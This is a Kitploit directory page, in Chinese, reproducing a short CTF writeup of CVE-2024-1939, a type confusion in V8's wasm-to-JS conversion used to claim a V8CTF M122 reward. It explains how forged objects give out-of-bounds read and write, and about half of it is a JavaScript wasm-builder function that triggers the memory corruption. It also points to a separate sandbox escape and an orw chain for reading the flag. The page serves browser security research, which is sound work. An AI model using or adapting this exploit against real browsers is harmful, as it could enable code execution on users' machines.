Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-1939 — For V8CTF M122 | Kitploit
工具/GitHubGitHub/rycbar77/cve-2024-1939
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationBinary Exploitation
GitHubrycbar77/cve-2024-1939

CVE-2024-1939

For V8CTF M122

查看仓库
1431年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-1939

这是CVE-2024-1939的简短writeup,我用它来获取V8CTF M122的奖励。

该问题的根本原因是wasm-to-js转换中缺乏对kWasmS128的支持。具体来说,参数栈中发生的wasmS128Const操作被忽略,导致当参数中存在ExprRef时出现类型混淆。

详细来说,这会导致int/float直接转换为对象。因此,很容易构造一个具有任意长度的假数组,从而获得OOB读写能力。还有一个障碍需要绕过:wasmS128Const只会取代存储在FPSlot中的float类型参数,并且不会影响存储在GPSlot中的标记参数。方法存在于StackSlot中。FP/GP寄存器有大小限制。之后,参数将按顺序存储在StackSlot中。如果我们填充寄存器并将一个float数放在StackSlot上,标记参数将从StackSlot中解析,并给我们伪造的对象。

为简洁和速度起见,最终的exp不包括这个wasm模块的构建器,所以我将其附在这里。

root@kitploit:~
function get_corrupt(addr) {
    var buf = new ArrayBuffer(8);
    var u32 = new Uint32Array(buf);
    var f64 = new Float64Array(buf);
    var u8 = new Uint8Array(buf);
    u32[0] = addr;
    u32[1] = 0;
    const builder = new WasmModuleBuilder();
    const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
    const importId = builder.addImport('mod', 'foo', typeId);
    builder.addDeclarativeElementSegment([importId]);

    builder.addFunction('main', kSig_v_v)
        .addLocals(wasmRefType(kWasmI31Ref), 1)
        .addBody([
            ...wasmS128Const(0xdeadbeef, 0xdeadbeef),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(f64[0]),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            
            ...wasmI32Const(0xaaaaaaaa),
            kGCPrefix, kExprRefI31, kExprLocalTee, 0,
            kExprRefFunc, importId,
            kExprRefFunc, importId,
            kExprCallRef, typeId,
        ]).exportFunc();
    const instance = builder.instantiate({ mod: { foo: ff } });
    let f = instance.exports.main
    f();
}
get_corrupt(addr);

使用worker来稳定内存,因为已观察到在worker线程中地址相对稳定。

对于沙箱绕过,请参见V8-Sandbox-Escape-via-Regexp。最终漏洞利用使用正常的orw链通过stderr写入flag。

下载工具